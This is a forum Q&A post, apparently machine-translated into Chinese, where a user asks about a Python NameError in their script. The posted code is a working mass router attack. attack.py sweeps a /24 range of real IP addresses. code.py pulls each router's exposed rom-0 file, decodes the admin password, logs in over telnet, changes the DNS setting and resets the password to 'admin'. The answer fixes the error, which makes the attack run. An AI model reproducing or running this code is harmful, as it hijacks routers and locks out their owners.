2014-01-25 47 views
-5

我是python編程新手。我想簡單的代碼,但是當我運行的代碼它顯示了這樣的錯誤:Python錯誤NameError:

[email protected]:~# python code.py 
Traceback (most recent call last): 
    File "code.py", line 42, in <module> 
    print host+" -> Offline!" 
NameError: name 'host' is not defined 

我不知道如何解決這個問題。這是我的代碼:

attack.py

from netaddr import IPNetwork 
import os 
for ip in IPNetwork ('41.108.48.1/24'): 
    os.system("python code.py "+str(ip)) 

code.py

from poster.encode import multipart_encode 
from poster.streaminghttp import register_openers 
from netaddr import IPNetwork 
import urllib2 
import urllib 
import re 
import getpass 
import sys 
import telnetlib 
import time 
import os 
import socket 
import sys 
socket.setdefaulttimeout(4) 

register_openers() 

try: 
    os.remove("rom-0") 
except: 
    pass 
try: 
    host=str(sys.argv[1]) 
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0") 

    datagen, headers = multipart_encode({"uploadedfile": open("rom-0")}) 

    request = urllib2.Request("http://localhost/decoded.php", datagen, headers) 

    str1 = urllib2.urlopen(request).read() 
    m = re.search('rows=10>(.*)', str1) 
    if m: 
     found = m.group(1) 
    tn = telnetlib.Telnet(host, 23, 3)   
    tn.read_until("Password: ") 
    tn.write(found + "\n") 
    tn.write("set lan dhcpdns 8.8.8.8\n") 
    tn.write("sys password admin\n") 
    print host+" -> Success" 
    tn.write("exit\n") 
except: 
    print host+" -> Offline!" 
+3

你張貼了這個一個小時前。那裏有很好的答案。閱讀它們! – mhlester

+0

你可能會發現我對[你的情況]有關的[這個問題]的答案(http://stackoverflow.com/q/21330438/3001761)。 – jonrsharpe

回答

0

看起來你會直接進入你的最後except塊聲明的變量host之前。在try/except之前聲明host,您應該找到實際錯誤的來源。我猜的錯誤是因爲你不傳遞參數給你的腳本:

python code.py some_argument

host="Error!" # declare host here 
try: 
    host=str(sys.argv[1]) 
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")